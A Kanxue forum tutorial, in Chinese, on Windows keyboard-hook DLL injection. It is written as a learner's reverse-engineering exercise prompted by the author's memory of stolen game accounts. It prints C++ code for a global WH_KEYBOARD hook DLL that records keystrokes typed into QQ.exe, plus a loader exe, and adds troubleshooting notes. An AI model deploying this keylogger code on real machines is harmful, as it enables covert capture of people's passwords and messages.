本文為看雪論壇優秀文章
看雪論壇作者ID:psycongroo
我還記得小時候——大概08年那會兒,流行玩一款叫夢幻西遊的網遊。那時候我尚幼小,並沒有諸如電腦病毒,木馬等概念,反正拿到滑鼠鍵盤就是一頓操作,玩玩遊戲就行。直到有一天電腦突然彈出一個記事本exe,上面寫道:「你的馬面真的是垃圾。」本沉迷網遊的我一下從夢中驚醒。還沒等我反應過來,滑鼠不受控制,右下角退出瑞星殺毒軟體。後來兩個遊戲號陸續被盜,讓我很是沉悶一段時間。直到現在我學習了《逆向工程核心原理》,看到了DLL注入的一種方式——消息鉤子注入。才忽然恍然大悟,仿佛抓到了當年被盜號的真相的尾巴。
HHOOK SetWindowsHookExW( int idHook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadId);1. int hook——指定事件的鉤子ID,如鍵盤事件WH_KEYBOARD。設置後只對鍵盤輸入起反應。2. HOOKPROC lpfn——鉤子的處理函數,若設置的是鍵盤輸入鉤子,必須是微軟定義的一個叫KeyboardProc的函數。3. HINSTANCE hmod——模塊句柄,因此一般設置鉤子的地方在DLL中。4. DWORD dwThreadId——需要設置鉤子的線程ID,倘若為0則為全局鉤子(所有程序都鉤)。LRESULT CALLBACK KeyboardProc( _In_ int code, _In_ WPARAM wParam, _In_ LPARAM lParam);1. int code——有三種值,小於0,等於0,等於3。
1.1 小於0:表示必須調用CallNextHookEx函數傳遞消息,傳遞給下一個鉤子。並且不能做過多處理
1.2 等於0:表示參數wParam和lParam 包含關於按鍵虛擬值相關信息,相關具體值,可看文檔(我們正是需要這種)
1.3 等於3:包含第二種情況,同時表示該按鍵事件被使用PeekMessage方法偷看過2. WPARAM wParam——鍵盤輸入按鍵對應的虛擬值(我們用這個判斷按下什麼鍵)。3. LPARAM lParam——包含各種各樣的值,需要的可看官方文檔。首先看看實際調用SetWindowsHookExW的地方。這是一個自己寫的DLL。他通過__declspec(dllexport)關鍵字來導出函數,來給我們寫的程序(EXE)調用啟動。
#define DllExport __declspec(dllexport)extern "C" { DllExport void HookStart() { myHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, myModule, 0); } DllExport void HookStop() { UnhookWindowsHookEx(myHook); myHook = NULL; }}請注意我們需要寫兩個PE文件,一個是exe,一個是dll。鉤子設置以及實現的內容均在dll中,exe只是一個藥引子,用來啟動它。至於為什麼要這樣,這是大概是因為SetWindowsHookEx的使用必須是在模塊當中。而這裡用關鍵字導出兩個函數,是為了給藥引子程序來啟動它。可以看到SetWindowsHookEx的第二個參數KeyboardProc就是我們核心的內容,它記錄了鍵盤的輸入:#define DEF_PROCESS_NAME L"QQ.exe"LRESULT CALLBACK KeyboardProc( _In_ int code, _In_ WPARAM wParam, _In_ LPARAM lParam) { WCHAR szPath[MAX_PATH] = { 0 }; WCHAR* p = NULL; if (code == 0) { if (!(lParam & 0x80000000)) { GetModuleFileName(NULL, szPath, MAX_PATH); p = wcsrchr(szPath, '\\'); setlocale(LC_ALL, ""); BOOL isTarget = !_wcsicmp(p + 1, DEF_PROCESS_NAME); BOOL isNumberLetter = wParam >= 0x30 && wParam <= 0x39 || wParam >= 0x41 && wParam <= 0x5A; OutputDebugString(p+1); OutputDebugString(szPath); if (isTarget && isNumberLetter) { result.push_back((WCHAR)wParam); } if (wParam == VK_RETURN) { OutputDebugString(getInput()); result.clear(); } } } return CallNextHookEx(myHook, code, wParam, lParam);}這裡大概邏輯是先拿到當前調用DLL的文件名,判斷是否為QQ.exe,如果是則記錄在list中,當按下回車時,將list中記錄的內容輸入到debug消息。代碼不難,前提是有C++基礎。SetWindowsHookEx的第三個參數myModule可以在DLL初始化時獲得:HMODULE myModule = NULL;BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: myModule = hModule; break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}還是說明一下,這裡的DllMain方法是DLL初始化時必定會走的地方,所以這裡又是一個"微軟規定"。至此,鍵盤記錄的核心實現內容已講解完,剩下的還有"藥引子"exe程序。#define HOOK_START "HookStart"#define HOOK_STOP "HookStop"#define DLL_NAME "KeyHook.dll"PEN_HOOKSTART hookStart = NULL;PEN_HOOKSTOP hookStop = NULL;HMODULE hdll;hdll = LoadLibraryA(DLL_NAME); hookStop = (PEN_HOOKSTOP)GetProcAddress(hdll, HOOK_STOP); hookStart = (PEN_HOOKSTART)GetProcAddress(hdll, HOOK_START);hookStart();這裡主要看看核心代碼即可,整個過程為DLL常規的調用。載入DLL->從DLL中獲取函數->調用。倘若是第一次接觸相關API建議看看相關文檔,這裡只涉及LoadLibraryA和GetProcAddress兩個API。請注意GetProcAddress獲取的函數必須是通過先前關鍵字導出的函數,否則無法獲取。ps:注意使用DebugView來查看debug輸出。因為筆者調用的函數是輸出到debug日誌裡的而不是控制臺上。
字母大小寫有一個明顯的問題就是,記錄的虛擬按鍵值無法區分大小寫。這是因為提供的虛擬按鍵值並沒有字母大小寫之分見文檔。
藥引子程序卡死當安裝鉤子後,藥引子程序會卡死。經過相關百度和文檔查閱可得知這是因為DLL和被掛鈎子的程序位不一樣。
如:筆者寫的DLL為32位鉤子,而目標程序為64位程序。
這樣就會導致按鍵事件分發不到具體的鉤子處理函數,而事件已經被標誌為已掛鈎,必須找到處理函數。這就會產生事件無法得到處理,程序卡死的現象:Because hooks run in the context of an application, they must match the "bitness" of the application. If a 32-bit application installs a global hook on 64-bit Windows, the 32-bit hook is injected into each 32-bit process (the usual security boundaries apply). In a 64-bit process, the threads are still marked as "hooked." However, because a 32-bit application must run the hook code, the system executes the hook in the hooking app's context; specifically, on the thread that called SetWindowsHookEx. This means that the hooking application must continue to pump messages or it might block the normal functioning of the 64-bit processes一句話來說就是32位的DLL鉤子只能注入32位程序,同理64位也是如此。但問題是我的藥引子程序也是32位的,DLL也是32位的,雖然筆者設置的是全局鉤子,但為何還會卡死呢?值得一提的是,當把DLL和藥引子程序均設為64位時,藥引子程序便沒有卡死。
當從書裡出來,自己實現一遍遇到各種各樣的問題並解決後,原本覺得是天書的代碼煥然一新,仿佛覺得能信手拈來。鉤子注入的核心在於對攔截事件的處理。而作為新手的我們,應該先注重如何注入鉤子,再去考慮如何處理事件。當兩者已瞭然於胸,到時候離逆向之路也會走的更遠了吧。https://share.weiyun.com/3nCWkg6z看雪ID:psycongroo
https://bbs.pediy.com/user-899080.htm
*本文由看雪論壇 psycongroo 原創,轉載請註明來自看雪社區。